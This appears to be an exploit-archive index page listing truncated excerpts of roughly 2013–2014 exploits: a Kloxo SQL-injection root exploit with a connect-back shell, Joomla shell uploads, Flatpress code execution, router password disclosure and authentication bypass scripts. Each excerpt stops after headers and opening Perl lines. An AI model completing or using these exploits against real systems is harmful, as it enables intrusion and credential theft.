Kloxo Remote Root Exploit

Kloxo remote root exploit that leverages a blind SQL injection and injects a perl connect back shell /bin/sh with root privilege. !/usr/bin/perl Title: Kloxo remote root exploit Author: Simo Ben youssef Contact: SimoatMorxploitcom Coded: 28 January 2014 Published: 26 February 2014 MorXploit...

Kloxo Remote Root Exploit

!/usr/bin/perl Title: Kloxo remote root exploit Author: Simo Ben youssef Contact: SimoatMorxploitcom Coded: 28 January 2014 Published: 26 February 2014 MorXploit Research http://www.MorXploit.com Download: http://www.morxploit.com/morxploits/morxkloxo.pl Requires LWP::UserAgent apt-get install...

Joomla Hotornot2 Shell Upload

Title : Joomla comhotornot2 Remote Code Execution Author : DevilScreaM Date : 4 Desember 2013 Category : Web Applications Version : 2.0.0 Type : PHP Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber...

Joomla JMultimedia Command Execution Exploit

Joomla JMultimedia component remote shell upload exploit. !/usr/bin/perl Exploit Title: comjmultimedia Remote Command Execution Author: Deepankar Arora and Rafay Baloch Vendor: http://joomlacode.org/gf/project/denvideo/ Enter the target in this form -- http://victim.com/ Change shell path to your...

Joomla Alphauserpoints phpThumb.php Shell Upload

Title : Joomla comalpahuserpoints Remote Code Execution Author : DevilScreaM Date : 1 Desember 2013 Category : Web Applications Type : PHP Vendor : http://alphaplug.com/ Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security Indonesian Hacker | Indonesian Exploiter |...

Static Http Server 1.0 - Denial Of Service (DoS) Exploit

Exploit for windows platform in category dos / poc Exploit Title: Static Http Server 1.0 Denial Of Service Exploit Date: 24.11.2013 Exploit Author: GalaxyAndroid Vendor Homepage: http://sourceforge.net/projects/static-httpd/files/static-httpd/ Software Link:...

Joomla JMultimedia Command Execution

!/usr/bin/perl Exploit Title: comjmultimedia Remote Command Execution Author: Deepankar Arora and Rafay Baloch Vendor: http://joomlacode.org/gf/project/denvideo/ Enter the target in this form -- http://victim.com/ Change shell path to your own, if needed use LWP::UserAgent; use HTTP::Request;...

Static HTTP Server 1.0 - Denial of Service

Static HTTP Server 1.0 - Denial of Service Exploit Title: Static Http Server 1.0 Denial Of Service Exploit Date: 24.11.2013 Exploit Author: GalaxyAndroid Vendor Homepage: http://sourceforge.net/projects/static-httpd/files/static-httpd/ Software Link:...

Pirelli Discus DRG A125g - Local Password Disclosure

Pirelli Discus DRG A125g - Local Password Disclosure !/usr/bin/perl Author: Sebastián Magof Hardware: pirelli discus DRG A125g Vulnerable file: wlbasic.html Bug: Wifi Password Disclosure Type: Local / ±lpha "" usage:perl exploit.pl use LWP::UserAgent; use HTTP::Request; begin print "\n\n\n";...

Pirelli Discus DRG A125g - Local Password Disclosure Vulnerability

Exploit for hardware platform in category web applications Vulnerable file: wlbasic.html usage:perl exploit.pl use LWP::UserAgent; use HTTP::Request; begin print "\n\n\n"; print " Pirelli Discus ADSL DRG A125g Wifi password disclosure \n"; print "\n\n"; wifi pwd disclosure file my $url =...

Flatpress 1.0 - Remote Code Execution

!/usr/bin/perl Exploit Title: Flatpress remore code execution PoC NULLday Google Dork: This site is powered by FlatPress. Date: 17/10/2013 Exploit Author: Wireghoul Vendor Homepage: http://flatpress.org/home/ Software Link:...

Flatpress 1.0 - Remote Code Execution Vulnerability

Exploit for php platform in category web applications !/usr/bin/perl Exploit Title: Flatpress remore code execution PoC NULLday Google Dork: This site is powered by FlatPress. Date: 17/10/2013 Exploit Author: Wireghoul Vendor Homepage: http://flatpress.org/home/ Software Link:...

Flatpress 1.0 - Remote Code Execution

Flatpress 1.0 - Remote Code Execution !/usr/bin/perl Exploit Title: Flatpress remore code execution PoC NULLday Google Dork: This site is powered by FlatPress. Date: 17/10/2013 Exploit Author: Wireghoul Vendor Homepage: http://flatpress.org/home/ Software Link:...

Pirelli Discus DRG A125g - Password Disclosure

Pirelli Discus DRG A125g - Password Disclosure !/usr/bin/perl Author: Sebastián Magof Vulnerable file: wansinglecfg.cmd Bug: Password Disclosure / αlpha "" usage:perl exploit.pl use LWP::UserAgent; use HTTP::Request; begin print "\n\n\n"; print " Pirelli Discus ADSL DRG A125g password disclosure...

Broadkam PJ871 Authentication Bypass Vulnerability

Exploit for hardware platform in category web applications !/usr/bin/perl d3c0der use HTTP::Request; use LWP::UserAgent; print "= Target : "; $ip=; chomp $ip; print "= new password : "; $npass=; chomp $npass; if $ip ! /^http:/ $ip = 'http://' . $ip; if $ip ! //$/ $ip = $ip . '/'; print "\n"; prin...

Broadkam PJ871 - Authentication Bypass

!/usr/bin/perl d3c0der use HTTP::Request; use LWP::UserAgent; print "= Target : "; $ip=; chomp $ip; print "= new password : "; $npass=; chomp $npass; if $ip ! /^http:/ $ip = 'http://' . $ip; if $ip ! //$/ $ip = $ip . '/'; print "\n"; print "-attacking , plz wait ! : $ip\n";...

Broadkam PJ871 Authentication Bypass

!/usr/bin/perl d3c0der use HTTP::Request; use LWP::UserAgent; print "= Target : "; $ip=; chomp $ip; print "= new password : "; $npass=; chomp $npass; if $ip ! /^http:/ $ip = 'http://' . $ip; if $ip ! //$/ $ip = $ip . '/'; print "\n"; print "-attacking , plz wait ! : $ip\n";...

EspCMS 后台登录绕过漏洞再利用(再利用！)

简要描述： 声明下，此漏洞0413提交到360漏洞平台，之后0422官方修复了该漏洞。 现在提交到wooyun是绕过官方修复的方法，继续利用。 可以算是老漏洞提死回生，不应该算是同一个漏洞提交到两个地方，希望有关部门能够明白，尽管代码非常像。 详细说明：...

Perforce P4web 2011/2012 Web Client XSS Vulnerability

Exploit for php platform in category web applications Exploit Title: Perforce P4web 2011/2012 Web Client XSS Vulnerability Date: 21 Jan 2013 Researcher: Christy Philip Mathew Email: email protected Vendor or Software Link: http://filehost.perforce.com/perforce/r11.1/bin.ntx86/p4webinst.exe...

SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x Remote Root/SYSTEM Exploit

Exploit for multiple platform in category web applications !/usr/bin/perl Title: SonicWALL GMS/VIEWPOINT 6.x Analyzer 7.x Remote Root/SYSTEM exploit Name: sgmsRCE.pl Author: Nikolas Sotiriu lofi Use it only for education or ethical pentesting! The author accepts no liability for damage caused by...